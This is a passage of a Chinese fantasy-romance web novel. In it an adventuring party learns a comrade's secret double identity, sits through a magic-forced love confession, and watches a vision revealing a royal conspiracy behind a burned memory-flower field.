梅茜抬起魔杖,直指上空,把所有的力量都聚焦于魔杖顶端。 随着剧烈的雷柱击向半空,火焰似乎失去了赖以生存的燃料,一瞬间散去。 如果不是反应及时,这一击,足以致命。 而如果不是温德修行过王室专属的法阵,光靠普通的保护魔法,根本不足以让他们安全撤离,更毋提反击的机会。 天空中一道金光闪过,随后,它重重落到了地上。 原本绿意盎然的地面,在接受过这般冲击,在一瞬间失去了生机。 所造成的伤害,与花田外围造成的荒草如出一辙。 看着脚下的枯黄,众人都一言不发。 梅茜走到金光所落之处,是一枚古朴的徽章,但十分精致,两个旗帜互相交错。 她将其拾起,展示给众人,特别是温德。 “这个徽章,你应该比我了解,也比我熟悉。”善魔平静地说,“毕竟作为公爵之子,你从小在王室长大,不会不认识这种特有的印记。” “伊索尔德之印,象征着公爵与王室的联盟。”梅茜扣下徽章,将其收入怀中,“攻击我们的烈火,就是由它所生。” “我相信你不清楚,不然你没有必要救下我们。” “但第一次攻击的时候,你就猜到了吧,不然的话,你不会使用专门能抵消王室印记的魔法。” “对吗?温德·西索阁下。” 温德没有回答,垂在身侧的双拳握紧,他不想说话,也不知道此时能说些什么。 忽然,他的眼神停住。 满目空空之中,一把黑色的匕首躺在不远处的草丛之中,因为草叶枯去,显露出了原貌。 如此熟悉,只是原本镶嵌着晶石、闪闪发光的地方,如今只余留下一个个空洞。 “这个,难道是……这么巧吗??”诺曼有些咋舌,问题太多,觉得自己怎么说都不太好,只能憋出来一句。 “……你还,真有个师傅啊?” 黑发的青年缓缓抬起脚步,鞋底踩在杂草之中,明明没有声响,温德却觉得全身发麻。 弯腰,拿起那把老旧的匕首,温德紧紧抿起了唇,手背勒出青筋。 “要是想哭的话,你就哭吧,别憋着难受了。”梅茜看着最年轻的大魔导师的背影,双手抱胸,“反正在这里的就这几个人,说出去也没人信。” 妮娜抱紧 手中的药剂箱,心情复杂,想要安慰,但现在信息量太多,她还没能完全消化清楚。 又想到之前温德的话语,少女犹豫片刻,终究是没有开口。 黑发青年没有回答,安静地站在那里。 他垂下眼眸,看向匕首上面依旧清晰的鸦印,暗红的瞳孔沉默,更加晦涩不明,看不清里面情绪。 “……我,真的不知道。” 他低声说。 又许久,温德偏过头,没有看任何人。 他把匕首揣进怀里,放在贴近心口的位置,和自己那把一起。 抬头,只说了一句话。 “走吧。” 温德背对冒险团,迈开步子,像是想把这一切都甩在身后。 “去花田深处。” “何必呢?”梅茜看他这样,摇了摇头。 “作为男子汉,哪能轻易落泪啊。”诺曼扯了扯嘴角,开口。 “长大之后,就会明白,眼泪只会在心疼你的人面前起作用。”他耸了耸肩,起步跟上,“除此之外,解决不了任何问题。” “你也就这些歪理邪说最顺嘴了。” “啊,只是经验之谈。” 只有最没出息的人,才会动不动掉眼泪呢。 有人曾经这样告诫过艾伯特。 无论是身为沃德家族的次子,还是身为一个值得尊敬的贵族剑士,展露脆弱,都是万万不可的事情。 说出这话的人具体是谁,已经记不大清了。 父亲母亲,哥哥姐姐,还是哪个被请来的老师? 但是谁都不重要,他记住了。 艾伯特一直遵守着这条训诫,也一直以为自己是不爱哭的人。 即使是和家里闹得最厉害的时候,练剑练得最痛苦的时候,他也从没有流过眼泪。 但自从遇见阿方索之后,就变得经常哭鼻子。 其实是不想这样的,担心对方会觉得自己懦弱,可是在这个人身边,就忍不住想要做最真实的自己。 因为做什么事都没关系,不用解释动机,不用掩饰情绪,倾听全部感受,怎么样都可以。 那个人,总是能轻易的,毫不自知的,勘破他的所有伪装。 然后,全盘接受。 真是的,怎么能这么做呢? 知不知道自己这样有多迷人。 眼睛生疼,所倚靠肩头上的布料也被自己的泪水全部浸湿,艾伯特似乎才觉得稍微有些不好意思,蹭了蹭,悄悄抬起了头。 “对不起,我又……”他似乎有点愧疚,直起身子。 “没事。”精灵松开了手,看了看周围,“我们,到达深处?” “我花没了。”阿方索说。 他跪坐在地上,双手从艾伯特的后背移开后,就搭在了身前,看起来格外乖巧。 说这话的时候,虽然面色依然平静,但艾伯特莫名觉得阿方索有种委委屈屈的感觉。 可爱捏。 “没关系的,我的也没了。”艾伯特安慰道,似乎想到了什么,他声音提高了半分,“对了,给你看这个。” “总感觉离开幻境之后,这把剑变得不一样了。” 艾伯特捞起那把孤独在旁边躺了很久的银剑,放在中间,两个人凑在一起打量。 不知是否是错觉,那把剑的剑身比以往更加锋利,藤蔓图案栩栩如生,剑柄上的紫色宝石中,有红色的闪光时隐时现。 “更好看,而且,更强。”阿方索点评道。 艾伯特笑着点了点头,心中想的更多。 变化,大概是从自己刺入那个人的胸膛的时候开始的。 看来,那个叫做阿尔伯特的幻影,并不是单纯的模拟,甚至拥有着可以被转移的力量。 如果这片花田本质上是记忆的载体,而记忆又能储存能量的话…… 那且醉草,是承载着谁人的记忆呢? 先交换一下信息,说不定会有收获。 “我接下来说的话,可能有些难以置信,但是,都是实话。”好不容易暂时把情绪压下,艾伯特抬头,看着对面碧色的眼眸,语气无比认真,“你要相信我。” “我听着。”阿方索没有追问。 精灵的目光从银剑转移到绿发少年的脸上,任由对方的手不知何时又搭上他的手臂,眼神严肃,重重点了点头。 艾伯特看他这样,内心不禁涌出一阵感动。 他捋清思路,决定从头说起。 就从最开始的那个幻境好了。 虽然有点羞耻,但确实很重要不是吗…… 而且,说不定可以拉近距离? 少年深吸一口气,终于开口。 “我喜欢你。” 艾伯特铿锵有力地说道。 ………… …………? 话语落地,不禁精灵顿住了,艾伯特也彻底愣住。 ? 等等。 ……他刚才,是不是说了什么,很不得了的话。 39. 聚首 “不是……我想说的不是这个……”意识到自己说出了什么,绿发少年炸了。 艾伯特的脸涨得通红,结结巴巴半天,“我不是这个意思………不对,我就是……呃……” 怎么说。 不能承认,但也不想否认啊。 对上对面精灵呆呆的眼神,年轻的团长只觉得内心发苦,自觉越描越黑。 ……虽然他确实……但是无论怎么说,也不能是现在啊!! 艾伯特眼前一阵发晕。 他想说我遇到了一个跟你长得很像的人,还有一个跟我长得很像的神经病。 也想说虽然很不可思议,但是那个神经病说咱们俩之前是一对…… 那个神经病是个红眼病,还总爱说垃圾话,剑术还强的诡异。 我花了好长好长的时间才打败他,才找到你,幸好,你还在这里。 幸好,你还没事。 但是怎么会说出这种话,刚才好不容易煽情一下,现在这样库库表白,阿方索会不会觉得他脑子有问题啊? 艾伯特急切地想解释,但话说出口,又变成了另一种情况: “从第一眼开始,我就为你着迷,自从相遇开始,我无时无刻不在想你。” “你是我唯一爱的人,这个世界上没人能比得上你,每天只要看到你,我就会感觉非常幸福。” “我想和你组建家庭,想和你不再分开,拥有彼此的一切,为此我愿意付出任何代价,请和我在一起吧。” 啊。 艾伯特彻底绝望了。 他深深吸了一口气,抬起右手,用力捂住自己的嘴,侧过头,紧紧闭上了眼睛,不愿意面对这一切。 时间变得无比漫长,每一秒都像是煎熬,看不见对面的反应,听不见任何声音。 艾伯特现在只有一个念头,那就是非常想自刎归天。 事实上,客观来说,艾伯特根本没捂多久,大概不到五分钟。 但精神上的折磨,不亚于一个世纪。 可还没等他拿起银剑,一道清冷的声音就从对面传来。 “我知道。” 温冷的触感落在他的手背,阿方索将手伸过来,握住团长的手指,把他的手拿下。 绿发少年顺从着他的动作,一张红扑扑的脸露了出来,心也扑通扑通直跳。 红色的眼眶,红色的脸颊,红色的耳垂,配上绿色的头发,非常像一颗番茄。 但是番茄不会有一颗盈着水光亮晶晶的紫红色眼睛,一眨不眨地看着你,看一会儿又慌慌张张地躲开。 “你想说幻境的事?”精灵看着他,平静地问道,“有些话,说不出来?” 竟然,在这个时候福至心灵了吗? 艾伯特本来应该庆幸,毕竟即使自己搞得一团糟,阿方索也能明白自己的意思。 但不知道为何,内心深处,一点小小的遗憾蔓延。 不过……果然他们就是很配吧,这样都能这么快地明白他要说什么…… 怎么办,更喜欢了。 “……嗯。”艾伯特嗫嚅,小幅度点了点头。 “那个人,和你一样。”阿方索垂眸片刻,抬眼,碧色眼眸一片清明,“我不认识他,他,会说我们的话。” 艾伯特点点头,内心也觉得疑点重重。 他所遇见的那个幻影阿尔伯特,似乎并不完全由花田的力量构成,似乎,也与这把剑有关? 虽然那个阿尔伯特说他是前世,但看起来对艾伯特经历的事情,他也了解颇多。 花田所拟造出的前世,也会知道现在的事情吗? 艾伯特张了张嘴,想跟阿方索说出这些,但是他不敢轻易开口。 实在是怕了。 他正组织语言,还没来得及说什么,远方传来的脚步声就打断了他们的交谈。 同样而来的,是少女高昂的嗓音。 “阿方索,艾伯特,你们在这里!没事吧?真是太好了!”一道明黄色的身影闪来。 妮娜一看见他们,就激动地飞奔而来,像一只小鸟。 直到离两人还有七八步的距离,妮娜才忽然反应过来。 她轻咳了一声,故作矜持地放慢了脚步,但走到面前时,足尖还是没忍住雀跃地踮了两下。 “妮娜。”精灵看见她,站起了身。 艾伯特也随之站起,他拿起旁边的银剑,虽然心中有些不满,但也只能暂时压下。 “我们没事。” 他一边说,一边目光越过妮娜看向她身后。 梅茜和诺曼也往这边走来,看起来也还算完好,精神状态也还不错。 而再后面……… 那个身影仍然带着黑色的兜帽,如不果身形更高大了一些,头发也长了。 温德·西索。 他说这配色怎么这么眼熟,原来如此。 而这位大魔导师看见艾伯特,而且没有一丝的心虚,还非常体面地跟他抬了下手,算是打个招呼。 “啊,担心完我了。”看见两人的一瞬间,诺曼松了一口气。 他双手合十,向四周拜了拜,眼角泛出一丝泪花,“幸好没事,要是把你俩落在这里,我就不用回王都了。” “嗯,担心了,”精灵又看向他。 “不自我介绍一下吗?”艾伯特盯着黑发青年,语气有些阴恻恻的,“最年轻的大魔导师,怎么会在我的团里啊?” “不解释一下?” 温德动了动嘴唇,想说没什么可解释的,但话到嘴边,接受到精灵投过来的视线,又咽了回去。 温德闭了闭眼,手摸向胸口放着匕首的位置。 “我叫温德·西索,目前职业是大魔导师,也是西索公爵的独生子。” “在作为盗贼的时候,我的名字是帕里斯。” “在旅馆的时候,我说的都是真的,帕里斯的身份也是真的,从我十二岁开始,我就用这个身份活动了。”温德抬眼看向周围的人,“严格来说,我从来没跟你们说过谎话,只是话没说全而已。” “成为盗贼确实是巧合,那天我一个人出门办点事情,就正好遇到了被卫兵追着的师傅。” “就救了。”温德简单说,“然后我就跟他学习了很多,成为了盗贼,直到他离开王都,去往昨日花田。” “然后没多久,作为唯一的弟子,我收到了他的死讯,所以我来这里,也确实是为了他。虽然那老头自己都不在意,说活一天赚一天。” “不过是,我自己想,看看他是怎么……结束的。” “不过,现在也算是意外收获。”他隔着衣料蹭了蹭胸前的匕首,“好歹出去之后,能给他立个衣冠冢了。” “按照时间顺序来说,其实大魔导师才是副业。” “就这些。”说完,温德放下手,情绪平稳了一些,“我能说的都说了,信不信由你们。” “好了,事已至此,不信也没办法啊。”梅茜笑着拍了拍手,“现在,人没事就好。” “不过,既然人 没事,就该问问别的了。” 话锋一转,善魔粉色的眼睛直直勾住阿方索的脸,直接了当地问道。 “你那时施展的水元素魔法,到底是怎么回事?” 梅茜的话一出,几人的目光齐刷刷地投向精灵。 即使很快就被强行结束,但那时精灵所展现的水元素魔法还是给在场所有人都留下了极深的心理印象。 那样强大的力量,只是抬手,不用任何介质,甚至连吟唱的时间都极短。 特别是之前,阿方索已经展示过属于木精灵的力量,而现在竟然能做到使用水元素法阵,还是如此高级的层次,这是完全不合常理的事情。 而阿方索的脸色依旧如常,没有任何躲避视线的动作。 “我是混血。”阿方索说,“我父亲是木精灵,母亲是水精灵,所以两个都可以用。” 就这么直白地说出来了? 原本打算深度分析的大魔导师大受震撼。 什么叫做,所以两个都可以用? 就,这样解释? 周围几人也陷入了沉默,最终,妮娜率先开口。 “所以你的头发不是染的?”妮娜追问,“那刚进入冒险团的时候,当时为什么说是染的呢?” 温德听见这句话,世界观遭受到了冲击。 停停停,现在重点是这个吗?混血精灵在你的面前,你问他头发是不是染的。 那可是能同时使用木、水两种力量的混血精灵!从来没有相关记录的种类!!还那么强大!!! 你们曙光冒险团真的没有受到什么奇奇怪怪的诅咒吗? 但是精灵很认真地回答了。 “不是染的。”阿方索说,“天生。” “因为,解释起来很麻烦。”阿方索歪了歪头,“而且伯尔爷爷说,要低调一点行事。” “哦,这样。”梅茜若有所思,掏出笔记,在上面划了几遍,“混血精灵吗?第一次听到,很有意思的特例,看起来很值得研究。” 艾伯特撑着剑,听到精灵说的话,有些无奈:“就光是你那张脸,就不可能低调吧……” 诺曼咂了咂嘴,表情有点复杂,接话道;“就是说……而且你除了平时戴兜帽,也不怎么低调啊……” “他说的,我又不一定要听啊。”精灵回答,无论是表情还是语气都相当自然,没有半分犹豫。 众人:…… 这脑回路也是无敌了,孩子。 不过按精灵的寿命来说,阿方索也确确实实还是个孩子。 这一次是真的能说,他只是个孩子了。 总不能说你爸妈没教你吗?怪地狱笑话的。 平平淡淡说出了很炸裂的话呢。 “阿方索,你说话好像变得流畅了很多呢。”妮娜微微瞪大了眼,像是发现新奇事物的孩子,双手握在胸前。 “唔,好像是。”精灵也似乎才意识到这一点,伸出手指碰了碰自己的喉咙,“刚才进入幻境的时候,有流光进入我的身体,感觉自己的能力变得强大了。” “以前困扰的地方,忽然明白了许多。” 艾伯特:? 不是,为什么阿方索提到幻境就不会被屏蔽成表白啊?? 他面容呆滞了一瞬。随后,艾伯特不知为何有些庆幸。 幸好没有变成表白。要是阿方索对妮娜说出来他对他说的那些话…… 大家就一起去死吧呵呵。 ………… 开玩笑的。 40. 旧情 “所以,你们俩遇见了什么?”梅茜看向艾伯特,注意到这位学弟的表情在她提问的瞬间,变得异常多彩。 梅茜:唔? 她原本只是例行询问,现在,却多了几分兴趣。 年轻的团长面对着众人的视线,局促不已,他的眼神闪烁,支支吾吾,最后,什么也没说出来。 “不能说吗?”看着艾伯特如同浆果一般的神色,梅茜了然,“秘境里,确实有时候会有禁忌话语的魔法。” 艾伯特连忙点头,刚松一口气,就又听见善魔笑眯眯的声音。 “不过,如果不会天打雷劈的话,你说两句,让我们看看是什么样的呗,说不定有办法呢?” 艾伯特半天不回话,梅茜转头,询问了当时在场的另一个人。 “阿方索,你们刚才在一起的时候,艾伯特说了什么吗?” 精灵忽然被点名,他眨了眨眼,略微思索片刻,粉色的唇瓣微启—— 被捂住了。 阿方索:“唔。” “会天打雷劈。”艾伯特迅速地回答。 少年的手还停留在精灵的脸颊上,面红耳赤地说完,就感到温热的呼吸打在手上。 手心泛起湿润的感觉,他后知后觉地转过头,对上阿方索的视线。 艾伯特才反应过来自己做了什么,也霎时间红透了耳根。 他一只手就罩住了阿方索大半的脸,精灵只露出一双湖水般的眼睛,静静看着他。 脸颊的软肉被微微捏起,阿方索看着他,面无表情地吹了口气。 唇瓣触碰到掌心,带出的气息也泛起一层热意,艾伯特如同触电一般迅速收回手。 “我……#@¥&*ぬ”他握着自己的手腕,结结巴巴说了一堆自己都听不懂的东西。 最后,还是那最常用也最万能的那句话。 “对不起!”艾伯特欲哭无泪,就差当场跪下来。 “没事。”阿方索用手指蹭了下嘴唇,又呼了一下,“有点闷。” 他歪过头。 “下次,可以直接说。” “嗯嗯嗯。”艾伯特默默把掉在地上的剑捡起,收回剑鞘,不敢抬头。 不是很想面对阿方索之外的人的目光,他都能猜到了。 不过……少年偷瞄了一眼自己的手,喉结暗自滚动了一下。 刚才碰得好近,接下来,三天不洗手好了。 特意换了手捡剑呢。 温德看着两人的互动,嘴角不自觉绷起。 他想起了善魔比的那个爱心,和当时说过的话,面色变得凝固。 没想到,沃德家族里看起来最温顺的次子,竟然会做这样的事…… 不过艾伯特之前就有拒婚的事来着,但是现在亲眼所见,冲击力还是……相当不同。 虽然他其实对别人的爱好没有什么占有欲,但是这种表现……还是离远一点比较好。 “那个,就是且醉草吧。”善魔的声音打断了大魔导师的思路。 “没想到,看起来和一朵小花也没什么区别嘛。” 不知何时,梅茜已经走到了且醉草的旁边。 柔嫩的枝叶舒展,在风中轻轻摇曳,她手持那金色的徽章,弯腰,轻轻在那柔软的花瓣上碰了一下。 “你做什么?”温德出声询问,皱起眉头,“别又出什么乱子……” 但他的话骤然停住了。 随着徽章触碰且醉草,面前场景微动。在几番扭曲后,出现了一对男女的身影,两人相携,看起来是一对情侣。 女子将米色的长发束起,身着利落的短衣,英姿飒爽,男子则是身着长袍,看起来文质彬彬,安静的暗红色眼眸温柔地注视着对面。 “这是,前王后?我见过她的画像。”妮娜小声惊呼,“还有这位……是,西索公爵?!” “他们怎么会在一起?”少女小声喃喃,“还,好像是年轻的样子……?” 黑发青年站在那里,说不出话,那双暗红色的眸子,不似平时有些冷淡地耷拉下眼皮。 而是完全睁开,直直盯着面前的影像。 这位向来不可一世的天才,此刻也失态起来,脸上充盈着难以置信的神色,布满了问号和震撼。 梅茜看了他一眼,转回头,开口。 “其实,我是想看看花田纵火的原因,没想到,会从这里开始播。” “好像,不小心播到了了什么秘密呢。” 她退后两步,回到众人身边,路过温德时,拍了拍他的肩。 “要坚强啊。”善魔安慰道,“竟然现在看起来没法停,要不然,我给你讲解一下?” 温德:………… “你还,讲解?”他声音干涩。 “看图说话嘛,我即兴演讲的时候经常这么干。” 面前的剧情依次展现,梅茜的声音伴随着画面开展,娓娓道来。 “且醉草的传说,早在泊昂里斯王国建立之前,就广为流传。” “而在三百年前,王室想要得到且醉草,和当时的公爵联手,酿造了那场有名的火灾,并且嫁祸给了恶魔身上。” “于是,原本作为秘库和周围居民生存来源的昨日花田,成了势力的牺牲品,随着周围居民搬离,昨日花田成为几乎被独占的资源。” “但因为昨日花田需要记忆作为养分,进入的人变少,所以即使在监守期间,王室也会有意无意地放进一些人进入。” “当然,和之前那些顶多记忆模糊,或者见到前世之类,少了数量,就自然要求更多的‘质量’了。” “所以,为了维持且醉草的力量,王室故意引诱不知情的人们进入花田,夺取他们的记忆,乃至生命……”妮娜喃喃道。 “差不多是这个意思。”梅茜点点头。 老旧的匕首硌着胸膛,莫名生疼。温德觉得荒谬,又有一股难抑的愤怒与悲伤。 那道声音继续说。 “先王后和当时的西索公爵当时是恋人身份。两人都热爱冒险,相约进入昨日花田探险,寻找且醉草作为两人感情的信物。甚至,有找到且醉草就结婚的约定。” “然而,在探险途中,二人发生意外。虽然最后都安全出来,但是先王后失去了记忆,也忘记了这段本就隐秘的爱情,为了家族,应许了与当时太子的联姻。” “为了找回先皇后的记忆,公爵继续了与王室的合作。”面前的影像渐渐淡去,善魔的声音也随之变轻。 “后来的事,我们都知道了。” “有水吗?”善魔转过头,拿起腰间的水壶,“我嘴都说干了。” “有。”阿方索走过来,接过梅茜的水壶,指尖微动,水便充盈其中。 “唔。”梅茜喝了一口,有点惊讶,“生活方面的水元素魔法也很棒啊,阿方索,这样以后都不用麻烦带水了。” 精灵比了个拇指,点了点头。 一精灵一魔在这其乐融融一应一合,只有背后的大魔导师还在风中凌乱。 艾伯特下意识看向帕里斯……不对,现在该说是温德了。 这位现存最年轻的大魔导师,公爵的独生子,定定地站在原地,眼神空洞,表情……相当精彩。 艾伯特都有点不忍心看下去了。 得知自己背后的势力是害死自己师傅的真凶,心情微妙也实属正常。 而且,怎么也没想到先王后和公爵还有这一段。 不过是喜欢的人母亲和自己的父亲曾经相恋……好吧,对这位来说,应该确实有一点难以接受。 “要坚强啊。”艾伯特犹豫片刻,最终开口。 精灵回到团长的旁边,听闻此言,也跟着点了点头。 温德看了他们一眼,没说什么。 谢谢,真是非常用心的安慰呢。 不如不说。 不过话说回来,他确实……很…… 难以接受。 思来想去,也只有这个词了。 “父亲……怎么能这样……” “这样的做法,他怎么有颜面去面对母亲……” 他心神都有些恍惚。 多希望这一切都只是梦一场。 如果他不是最年轻的大魔导师,又或者不是公爵 的长子,从小就在王室长大,他都可以欺骗自己。 偏偏温德都是。无论从研究方面的知识,还是从王室内部图书馆里关于的且醉草的记录来说,刚才呈现在眼前的那一幕幕,都没有不真实的可能性。 就算难以接受,也必须接受。 温德作为长子,从小就展露出了惊人天赋。加上出众的外貌和早熟的性格,一直都备受父母关爱,双方的家族也对他投入了相当的心血。 可喜可贺的是,他也经得起这样的投资,并给出了丰厚的回报。 小时候尚且懵懂,一直以为父母关系冷淡,还为此偷偷伤心过。 长大后知道父母的结合只不过是联姻的结果,就觉得两人的相敬如宾也算不错。 温德虽然自身没有相关打算,但对父母一辈的感情,自知不应过多涉及,也不想过多评判。 但这种触碰道德底线的行为,他无法忍受。 还以为父母感情冷淡,是因为联姻造成的结果。没想到,背后竟然有这样的故事…… “先王后早逝,就算找到且醉草,也没有用了啊。如今公爵府和王室合作,还守着这片花田,对于现任公爵而言,也没有意义,为什么还要合作……”妮娜犹豫着问。 “本来两方合作也不是一天两天的事情,就算没有先王后,多半也是会继续的吧。”诺曼说道,“不过,先王后和国王的关系似乎一般?先王后早逝,不知道这位公爵现在是什么想法……” 感受到温德的眼神,诺曼把原本要说的话咽下去,换成了另外一句。 “当然,我相信公爵大人还是能分得清私情与公事,一定会忠心国家。”他打着哈哈,虽然话说得自己都不信。 温德扯了下嘴角。原本他的外形是高冷俊朗那块,但结合着现在的情况,不知为什么,就连冷淡的态度,看起来也相当命苦。 “对了,还有你和公主殿下的关系……”诺曼一拍脑壳,长长叹了口气。 他斟酌了半天词汇,终于总结出了一句话。 “你们上流社会的爱恨纠葛,真的是太下流了。” “都说过了,”温德·西索牙关紧闭,说的每一个字都像是从缝里挤出来的一样,“我和她,不是情人。” 即使在这种情况下,还是坚定否认呢。 “行行行,你说不是就不是。”诺曼举双手投降。 “那学院呢?学院既然和王室合作,就没有理由不知道盟友的操作。”艾伯特眉头揪起,认真思索,“就任由王室这么做?” “答案很简单。虽然学院本身就具有探索花田的能力,但如果强硬拒绝,导致王室直接隔离,也是件麻烦事。” “多一事不如少一事。他们也许没有参与其中深度的部分,但,至少也是默许的态度。” 温德声音低沉,像是一个遭受巨大打击的人,在轮番倒霉之后,反而变得异常平静。 也是,如果早上出门的时候忘带钥匙,还会懊恼自己怎么这么粗心。 但是,如果接下来发现自己忘带了钱包,原本按时的马车也晚点,导致自己错过了考勤的时间;刚想用通讯魔石给认识的人说明一下情况,结果发现魔石在不知何时丢在了路上;站在原地发呆时,又忽然想起提交的很重要的报告在结尾的注明那里好像写错了格式…… 这样的话,人生也会变得无欲无求吧。 “如果能够独占的话,王室绝不会与其分享。” “学院中,一定有人对昨日花田了解甚多,甚至能准确判断出且醉草的运行模式,王室不得不依靠他。” “这样,他们才能在影响最小的范围内维持花田的存在,并保证且醉草不被其他人抢走。” “那个人,知识和手腕都不可或缺。同时,他还要具有足够的地位,足以让人信服。” 而能够做到牵头王室与学院,并且知识如此广博、知晓如此多秘辛的人,只可能有一个。 虽然很不可置信,但,也没有其他的选项了。 梅茜沉吟片刻,尾巴摇了两下,缓缓抬起了头。 “你想说,那个人……是院长大人? 41. 温室 “院长?”诺曼双眉夸张地抬高,嘴型成了一个O,一脸不可思议的样子。 “那老人家都多少年没出面了,有心思管这事。”他一摊手,“再说,要是他的话,根本没有必要和王室合作吧。” “难说,谁知道万一哪点惹他的高兴了呢?除了他,也没人能做到这一点吧。”梅茜歪头,“毕竟,那可是院长啊,虽然表面上不管,但是学院里的东西,哪有他不知道的。” “毕竟,那可是王都学院最自由的人。” 梅茜的语气有些古怪,似笑又非笑,又带着一丝无可奈何。 在场所有人表情都变得有些微妙,依旧只有阿方索没有在王都学院毕业,也只有他一脸状况外的神情。 梅茜笑着叹了一口气。 “好啦,来,给我们的小精灵进入科普时间。” 她拍拍手,开始讲起。 “泊昂里斯王国王都学院,是目前王国内规模最大,历史最悠久,也最负盛名的学院之一。” “而王都学院能兴盛到今,所靠的,就是他一手打下的根基。” “这位院长近百年来很少出面,但话虽如此,王都学院自由开放的风气,都少不了这位院长的助力。” “在苦旅中寻求愉悦。这是王都学院建立以来,唯一的校训。” 不仅不限定招收学生的种族、性别、年龄等,甚至在研究方面也甚少干涉。 “只要拿到录取通知书,哪怕你是恶魔,也有学习的资格。” 这是关于王都学院,最有名的宣传语之一。 只要进入王都学院,无论开始想学习什么,进入之后,你都可以学习其中所有的课程,毕业的条件也相当宽松。 这也是几乎所有的人都挤破脑袋想进入学院的原因之一。 “师资更不用说,单纯举一个例子,王都学院,是目前公开中唯一一个有精灵授课的学府。” “那位叫做阿苏尔的教授,曾经教过我很多东西。”温德开口,“我当时写就那篇论文时,他曾经给我重要的指导。他是水精灵,平时很少出面。” “那种授课并不是固定的,只是偶尔的讲座,但也足以让人趋之若鹜。” “就是这样,所以一旦有讲座,就连我这种老师都得抢票才能进呢。”梅茜继续说。 “不过精灵正式进入学院,或者说进入大众视野,也就是这几年的事情。之前,我猜大概应该也是有过合作的?只不过没有这么广泛的公开。” “代表学校出面的代理人轮番更替,但最高的那位院长,却那只有一任。” “当然,也有人说他早已去世,”梅茜吐了口气,“也有说他还活着,只是有什么手段,一直延续生命。还有干脆觉得他是像龙族和精灵这样的长寿种族,单纯就是耐活。” “所以,你觉得呢?”诺曼反问道。 “你问我吗,哪种原因不清楚,但我觉得他还活着。”梅茜耸耸肩,语气轻飘飘的,“我毕业那年,他给我写的那封祝贺信,我看墨迹像是新的。” “我那时也收到了……”温德若有所思,“他的名字,并不是帝国人常用的语言,而是差异很大的另一种文字……” “我记得,他的落款第一个字是……”他用手在空中画了画。 两点一提,横横竖横竖横弯钩横横。 “我后来在书上见过,那个字好像在那个语类里,是念……” “清。” “清……”精灵复读了一遍,随后,用手指抵住下颚,似乎在想着什么。 周围人看向他沉思的神情,心里也不禁揪紧,以为他要说出什么重要的信息。 然后,在众人期待的目光下,阿方索抬起头,说出了那句话。 “没听过。” 众人:…… 。 也,很合理。 “虽然都说那封信是院长亲笔,但是我一直怀疑真实性呢,毕竟那可是院长,就算活着,写得来吗?”诺曼摸了摸下巴,“毕竟现在他连那个传信机制都懒得修,很难想象他竟然会给每个毕业生真的一个个写信。” “那,他当时给你写的是什么来着?”妮娜饶有兴趣地问道。 “我想想啊。嘶,想起来了。” “他给我写的是,要是想成为赫尔墨斯,先好好学学弹奏里拉琴吧。” 诺曼挠了挠脑袋,语气疑惑。 “可是我从小就五音不全,小时候学钢琴旗袍三个家庭教师。我收到毕业信后,还为此特意花钱去报了成人班,专门学里拉琴的,但是没学两节课老师就把我赶走了,说再也不教这么没天赋的学生了。” “哎,怎会如此。” 他忧伤地总结。 “院长的意思是让你好好处理人际关系吧。”梅茜抽了抽嘴角,“虽然我觉得你已经够精明了,圆滑的都快能在地上滚了。” “谢谢夸奖捏。”诺曼顿时喜笑颜开。 他眼神亮亮地看着周围的人,明显想打探一下别人的信里写了什么。 但两位女士都默契地扭开了头,温德又是臭着脸,一副爱答不理的样子。 诺曼努了努嘴,行,都惹不起。 他看向了那位缺乏威严的团长。 “对了,话说回来,艾伯特,你的那个是什么啊?” 诺曼转过头,好奇地问道。 艾伯特下意识往后退了一小步,但退无可退,只能硬着头皮回答。 “我……没有。”艾伯特摇摇头,“我当时,没有收到毕业的祝贺信。” “没有收到祝贺信吗?不应该啊。”诺曼双手叉腰,表情惊讶,“这可是咱学院的传统艺能,说是能受益终生的,拿不到和白上学有什么区别?” “就是没有。”艾伯特又摇了摇头,“当时我也问了导师,没有回应,应该也不是谁拿错。老师跟我说,可能是院长忘了,问我要不要上去报告一下。我觉得没有必要,就没去打扰。” “这样啊,那也不是没有可能。”诺曼思考着,他侧过脸,点了点头,也就刚好没有错过了少年那一瞬间飘忽的眼神。 艾伯特说他没有收到那封信,这是确确实实的实话。 但他没有说的是,在周围人陆陆续续收到祝贺信的那段时间,艾伯特曾经收到过一个神秘的包袱。 没有寄件人,更没有寄件人的地址,就那么无缘无故出现在他的桌上。 艾伯特当时准备毕业的事项,正是忙得脚不沾地的时候,回来的时候看到那个整整齐齐的包袱,也是满头雾水。 当时问了一下周边,没有人承认,艾伯特还以为是什么恶作剧,本来没打算看的。 但是一直占在那里也不好,又担心万一有什么事。 或许更多的是那要命的好奇心,他做好防护后,特意挑了个没人的时间,就悄悄打开了。 结果,打开之后发现,是一本书? 封面还布满了粉色的花朵和爱心,看起来像俗套的三流,从书脊来看有一定厚度,装订也相当不错。 确认上面没有什么奇奇怪怪的魔法之后,当时懵懂的少年把它拿了起来。 而看清封面上格外华丽的花体字之后,年轻的剑士陷入了长久的沉默。 那本书的标题是:《如何让伴侣宠你一辈子》。 ? 好雷霆的标题。 艾伯特当时愣了很久,什么伴侣?他连喜欢的人都没有,谁会送他这种东西。 但不知为何,当时寝室无人,他还是鬼使神差地翻了两页。 半分钟后,艾伯特面红耳赤地合上了。 这是正经书吗?就是情感方面……也不能这么详细吧……!? 他虽然没有过经验,但贵族在这方面的教育并不欠缺。 艾伯特不是不懂,甚至可以说,他很早就明白了相关的事情。 但是这本书里的内容也、也…… 太全面了,也太多彩了。 多彩到他都不知道说什么好。 艾伯特也不知道寄件人怎么想的,更不知道自己是怎么想的。 最终,那本书他没有扔掉,而是默默放进了自己的书箱,压在最下面。 当它不存在,没再翻开过,但也没扔。 后来没多久就经历的那套流程,拒绝婚约,和家里闹,准备离开家,组建冒险团。 收拾行李的时候,艾伯特又见 到了那本书,那本他几次想要烧掉,可现在仍然完好无损的书。 犹豫再三,他没有带它走,而是放进了更隐蔽的地方,确保除了自己,其他人都不会找到。 主要是担心带走的话,万一被别人发现自己有这样的书,从此颜面就会无存了吧。 现在看来,冥冥之中自有天注定啊。 回去之后,要好好拜读呢。 虽然现在看来有些早,不过一想到是为了以后做准备,就不禁为此感到喜悦。 “好了,别浪费时间了。”梅茜敲了敲魔杖,聚集众人的注意。 “也是时候该摘下且醉草了。”粉眸微眯,带着些许严肃,“分赃的事情出去再说,现在在这里待这么久,不知道外面时间怎么样了。” “那,该由谁来摘下且醉草呢?”妮娜发声。 “经历过且醉草试炼的人,只有阿方索和艾伯特。” 